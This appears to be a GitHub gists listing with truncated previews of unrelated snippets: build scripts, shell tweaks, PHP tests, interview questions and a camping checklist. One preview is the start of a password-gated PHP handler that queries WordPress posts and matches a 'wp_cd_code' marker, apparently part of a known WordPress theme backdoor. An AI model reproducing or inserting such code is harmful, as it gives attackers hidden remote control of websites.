This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
react-native bundle --dev false --platform android --entry-file index.android.js --bundle-output ./android/app/src/main/assets/index.android.bundle --assets-dest ./android/app/src/main/res/ | |
cd android | |
./gradlew assembleDebug | |
cd .. | |
cp android/app/build/outputs/apk/debug/app-debug.apk app-debug.apk | |
# FTP upload file | |
HOST='your-host.com' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Write it in Python, input from input.txt and output to output.txt | |
input.txt contains an integer representing the size of the matrix. | |
output.txt contains the result matrix. | |
Example input and output: | |
input.txt: 3 | |
output.txt: | |
5 6 7 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Git branch in prompt, copy and paste this to ~/.bash_profile | |
parse_git_branch() { | |
git branch 2> /dev/null | sed -e '/^[^*]/d' -e 's/* \(.*\)/ (\1)/' | |
} | |
export PS1="\u@\h \W\[\033[32m\]\$(parse_git_branch)\[\033[00m\] $ " | |
# Copy with progress | |
rsync -ah --progress source destination |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Javascript: | |
- How does javascript scope works ? | |
- How does javascript hoisting works ? | |
- What are the es6 features ? | |
Misc: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ob_end_flush(); | |
ob_start(); | |
for($a=0;$a<5;$a++) { | |
print $a . PHP_EOL; | |
flush(); | |
ob_flush(); | |
sleep(1); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
header('Content-Type: application/octet-stream'); | |
header("Content-Transfer-Encoding: Binary"); | |
header("Content-disposition: attachment; filename=\"db.sql\""); | |
// readfile('db.sql'); // do the double-download-dance (dirty but worky) | |
print file_get_contents('db.sql'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$start = microtime(true); | |
$MAX = 1000000; | |
$arr = []; | |
for($a=0;$a<$MAX;$a++) $arr[] = rand(0,$MAX); | |
asort($arr); | |
print round(microtime(true) - $start,2) . 's' . PHP_EOL; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'c9c305a74573cd78066f0ac30ccd490c')) | |
{ | |
switch ($_REQUEST['action']) | |
{ | |
case 'get_all_links'; | |
foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data) | |
{ | |
$data['code'] = ''; | |
if (preg_match('!<div id="wp_cd_code">(.*?)</div>!s', $data['post_content'], $_)) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
============================== cần thiết ============================== | |
lều | |
nước: mỗi người 5 lít, thiếu thì lấy nước suối | |
đồ ăn khô: đồ hộp, bánh mì sandwich, mì ly | |
nồi nhỏ, bếp cồn, cồn | |
bật lửa | |
diêm | |
đèn pin |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
include 'vendor/autoload.php'; | |
use Dompdf\Dompdf; | |
$DOMAIN = 'http://manga-scan.com'; | |
function printPdf($manga_name) { |
NewerOlder